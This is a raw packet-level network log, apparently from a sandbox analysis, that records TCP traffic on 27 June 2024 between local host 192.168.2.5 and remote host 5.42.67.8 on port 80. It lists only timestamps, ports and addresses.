Jun 27, 2024 06:44:25.395015001 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395015001 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395015955 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395049095 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395049095 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395050049 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395081997 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395098925 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395114899 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395148039 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395179987 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395201921 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395201921 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395201921 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395211935 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395219088 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395243883 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395272017 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395294905 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395327091 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395359039 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395365000 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395376921 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395376921 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395390987 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395411968 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395423889 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395446062 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395457029 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395477057 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395490885 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395519972 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395524025 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395546913 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395559072 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395591021 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395623922 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395627022 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395627022 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395627022 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395656109 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395688057 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395706892 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395735025 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395739079 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395788908 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395824909 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395836115 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395864964 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395864964 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395864964 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395867109 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395889997 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395908117 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.395937920 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.395988941 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396018028 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396022081 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396033049 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396053076 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396061897 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396114111 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396116972 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396147966 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396179914 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396184921 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396200895 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396213055 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396214008 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396249056 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396281004 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396301985 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396301985 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396312952 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396321058 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396344900 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396378040 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396410942 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396413088 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396413088 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396413088 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396442890 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396461010 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396473885 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396492004 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396523952 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396526098 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396558046 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396590948 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396595001 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396595001 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396622896 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396635056 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396672964 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396678925 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396704912 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396723032 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396737099 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396760941 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396769047 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396775007 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396806955 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396815062 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396856070 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396861076 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396888971 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396920919 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396924019 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396924019 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396956921 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396965981 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.396996975 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.396998882 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.397006035 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397038937 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397075891 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397080898 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.397080898 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.397090912 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.397120953 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397150993 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.397154093 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397180080 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.397192955 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.397192955 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397226095 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397258043 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397262096 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.397262096 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.397289991 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397324085 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397357941 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397366047 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.397377968 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.397394896 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397404909 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397412062 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.397438049 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397449970 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.397469997 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397504091 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397526026 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.397536039 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397538900 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.397568941 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397592068 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.397602081 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397629976 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.397634983 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397654057 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.397666931 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397670984 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.397699118 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397707939 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.397732973 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397746086 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.397764921 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397797108 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397816896 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.397830009 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.397891045 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.480760098 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.480813980 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.480848074 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.480897903 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.480895996 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.480895996 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.480931997 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.480964899 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.480983973 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.481003046 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481054068 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481060028 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.481096983 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481123924 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.481127024 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481161118 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481178999 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.481209993 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481244087 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481251955 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.481285095 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.481292009 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481326103 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481354952 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481373072 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.481408119 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.481421947 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481463909 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.481472015 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481522083 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481528997 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.481554985 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481583118 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.481587887 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481600046 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.481631994 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481632948 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.481681108 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481714010 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481724977 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.481745958 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481765032 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.481777906 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481796980 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.481811047 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481833935 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.481857061 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.481867075 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481898069 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481930971 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481965065 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.481970072 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.481971025 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.481971025 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482001066 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482016087 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482048035 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482080936 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482084990 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482084990 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482112885 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482134104 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482146025 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482170105 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482188940 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482197046 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482222080 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482238054 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482253075 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482260942 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482304096 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482326984 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482335091 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482345104 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482378960 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482384920 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482413054 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482434988 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482460022 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482462883 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482495070 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482501984 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482527971 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482547998 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482561111 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482583046 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482593060 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482609034 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482625008 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482652903 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482669115 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482677937 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482709885 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482733965 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482742071 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482748985 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482774019 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482806921 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482819080 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482819080 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482846022 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482894897 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482902050 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482902050 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482927084 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482959986 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.482968092 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482968092 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.482991934 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483025074 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483033895 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.483056068 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483088017 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483120918 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483139992 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.483139992 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.483153105 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483185053 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483206034 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.483232975 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483266115 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483280897 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.483313084 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483318090 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.483356953 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483386993 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483417034 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.483436108 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483468056 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483483076 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.483500004 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483527899 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.483531952 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483578920 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.483581066 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483613968 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483645916 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483690023 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483699083 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.483699083 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.483722925 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483756065 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483789921 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483795881 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.483802080 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483834982 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483835936 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.483835936 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.483867884 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483900070 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483911037 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.483932972 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483967066 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.483993053 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.484008074 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.484009027 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.484044075 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.484075069 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.484098911 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.484107018 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.484138012 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.484146118 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.484169006 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.484183073 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.484199047 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.484231949 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.484246969 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.484266043 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.484268904 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.484297037 CEST	80	49719	5.42.67.8	192.168.2.5
Jun 27, 2024 06:44:25.484309912 CEST	49719	80	192.168.2.5	5.42.67.8
Jun 27, 2024 06:44:25.484329939 CEST	80	49719	5.42.67.8	192.168.2.5
